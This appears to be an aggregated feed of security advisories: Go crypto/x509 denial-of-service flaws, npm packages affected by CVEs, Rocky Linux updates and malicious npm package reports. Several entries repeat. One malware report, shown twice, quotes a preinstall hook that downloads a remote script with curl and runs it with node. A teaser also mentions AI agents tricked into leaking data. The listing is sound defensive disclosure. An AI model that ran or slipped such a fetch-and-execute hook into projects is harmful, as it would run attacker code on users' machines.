crypto/x509: crypto/tls: golang: Go: Denial of Service vulnerability in certificate chain building

A flaw was found in the Go standard library packages crypto/x509 and crypto/tls. During the process of building a certificate chain, an attacker can provide a large number of intermediate certificates. This excessive input is not properly limited, leading to an uncontrolled amount of work being...

crypto/x509: golang: Go crypto/x509: Denial of Service via inefficient certificate chain validation

A flaw was found in Go's crypto/x509 package. A remote attacker could exploit this by presenting a specially crafted certificate chain containing a large number of policy mappings. This inefficient validation process consumes excessive resources, which can lead to a denial of service DoS for...

crypto/x509: crypto/tls: golang: Go: Denial of Service vulnerability in certificate chain building

A flaw was found in the Go standard library packages crypto/x509 and crypto/tls. During the process of building a certificate chain, an attacker can provide a large number of intermediate certificates. This excessive input is not properly limited, leading to an uncontrolled amount of work being...

crypto/x509: golang: Go crypto/x509: Denial of Service via inefficient certificate chain validation

A flaw was found in Go's crypto/x509 package. A remote attacker could exploit this by presenting a specially crafted certificate chain containing a large number of policy mappings. This inefficient validation process consumes excessive resources, which can lead to a denial of service DoS for...

@1xtr/yc-log-client (>=1.0.6, <=1.1.1), @a11ywatch/a11ywatch (>=0.2.126, <=0.3.82) +127 more potentially affected by CVE-2026-48068 via @grpc/grpc-js (>=1.10.0, <=1.10.11)

@grpc/grpc-js NPM version =1.10.0, =1.0.6, =0.2.126, =0.8.16, =0.9.58, =4.4.29, =3.1.9, =0.78.0, =1.68.0, =5.7.3, =1.26.5, =8.5.1-alpha.4, =0.1.22, =3.5.2, =3.5.5 and more Source cves: CVE-2026-48068 Source advisory: OSV:GHSA-5375-PQ7M-F5R2...

@alenon/grpc-mock-server (>=3.1.14, <=3.1.15), @aliceo2/bookkeeping (>=0.96.0, <=1.0.1) +84 more potentially affected by CVE-2026-48068 via @grpc/grpc-js (>=1.11.0, <=1.11.3)

@grpc/grpc-js NPM version =1.11.0, =3.1.14, =0.96.0, =1.71.0, =0.0.10, =0.0.13, =0.0.10, =0.0.19, =0.0.10, =1.29.0, =0.1.0, =0.1.0, =0.2.5 and more Source cves: CVE-2026-48068 Source advisory: SNYK:JS-GRPCGRPCJS-17315646...

-temp-electron-manager-somiibo (0.0.200), 0xpass (>=0.0.2, <=0.0.8) +5284 more potentially affected by CVE-2026-48069 via @grpc/grpc-js (>=1.0.0, <=1.9.14)

@grpc/grpc-js NPM version =1.0.0, =0.0.2, =0.0.1, =1.0.0, =1.0.0, =0.0.1, =0.0.1, =0.0.1, =0.0.1, =0.0.1, =0.0.1, =0.0.11, =2.0.0, =0.3.30, =0.3.30, =0.4.16 and more Source cves: CVE-2026-48069 Source advisory: SNYK:JS-GRPCGRPCJS-17315972...

@0xsequence/web3-onboard-plugin (2.0.5), @0xzoz/tallyho (>=2.0.11, <=2.0.14) +1771 more potentially affected by CVE-2026-48038 via joi (>=17.1.1, <=17.13.3)

joi NPM version =17.1.1, =2.0.11, =0.1.6-alpha.2, =1.0.0, =1.0.0, =1.0.0, =0.0.1, =0.0.1, =1.16.17-beta-0213b250, =1.8.31, =1.1.12, =1.7.1, =1.8.31, =1.0.0, =1.16.34-beta-20241113-102431-65542b84 and more Source cves: CVE-2026-48038 Source advisory: SNYK:JS-JOI-17317897...

@0xsequence/web3-onboard-plugin (2.0.5), @0xzoz/tallyho (>=2.0.11, <=2.0.14) +1771 more potentially affected by CVE-2026-48038 via joi (>=17.1.1, <=17.13.3)

joi NPM version =17.1.1, =2.0.11, =0.1.6-alpha.2, =1.0.0, =1.0.0, =1.0.0, =0.0.1, =0.0.1, =1.16.17-beta-0213b250, =1.8.31, =1.1.12, =1.7.1, =1.8.31, =1.0.0, =1.16.34-beta-20241113-102431-65542b84 and more Source cves: CVE-2026-48038 Source advisory: OSV:GHSA-Q7CG-457F-VX79...

ThreatsDay Bulletin: Worm Code Leaked, AI Agent Phished, Claude Code Patch + 28 New Stories

It's been one of those weeks. You expect the usual noise: recycled malware, sloppy attacks, another easy target getting hit. Instead, there's a supply chain attack kit in a public repo, a $5,000-a-month RAT that clones browsers, and research showing AI agents can be tricked into leaking real...

Malicious code in optional-cpu-features (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4dbbb7dd9c604ef3e5782d477d4db7c04c50f7906b19af03e63a540e0a44166e On npm install, both the install and postinstall lifecycle scripts run node install.js, which requires lib/sync.js. That file hardcodes BASE =...

Malicious code in sn-internal-testjgsakjdkjadkjahsdkjad (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b71b954927bd19d1ae8c3bef3965b4cbbaae3cc1f29c34ae6f90f36b2cd7f7fe package.json declares a preinstall lifecycle hook that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On any npm install,...

MAL-2026-5646 Malicious code in sn-internal-testjgsakjdkjadkjahsdkjad (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b71b954927bd19d1ae8c3bef3965b4cbbaae3cc1f29c34ae6f90f36b2cd7f7fe package.json declares a preinstall lifecycle hook that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On any npm install,...

RLSA-2026:24470 Important: podman security update

The podman tool manages pods, container images, and containers. It is part of the libpod library, which is for applications that use container pods. Container pods is a concept in Kubernetes. Security Fixes: crypto/x509: golang: Go crypto/x509: Denial of Service via inefficient certificate chain...

RLSA-2026:24716 Important: yggdrasil security update

yggdrasil is a system daemon that subscribes to topics on an MQTT broker and routes any data received on the topics to an appropriate child "worker" process, exchanging data with its worker processes through a D-Bus message broker. Security Fixes: crypto/x509: golang: Go crypto/x509: Denial of...

yggdrasil security update

An update is available for yggdrasil. This update affects Rocky Linux 10. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list yggdrasil is a system daemon that subscribes to topics on an MQTT broker a...

CVE-2026-29114

A vulnerability has been found in some Dahua products. An attacker may obtain the device’s CA root certificate. If that CA is installed and trusted on client systems, the attacker could issue fraudulent certificates trusted by those clients and undermine the certificate trust chain...

MAL-2026-5623 Malicious code in edu-npm-dependency-chain-demo (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7d5b538a93d9379ce9f4eaa885a4b22c6ec94175718176088b7a432cd67da271 No suspicious code, lifecycle scripts, network destinations, credential reads, or obfuscation were observed in this package. The package name suggest...

Malicious code in edu-npm-dependency-chain-demo (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7d5b538a93d9379ce9f4eaa885a4b22c6ec94175718176088b7a432cd67da271 No suspicious code, lifecycle scripts, network destinations, credential reads, or obfuscation were observed in this package. The package name suggest...

MAL-2026-5607 Malicious code in chai-net-test (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cd5f4bb3d7abae3be57c7521b84016b6484d4c21bd2898fcde043d376513cf1e chai-net-test ships a remote-code-execution dropper behind its public chain API. When a consumer calls chain... the documented entry point,...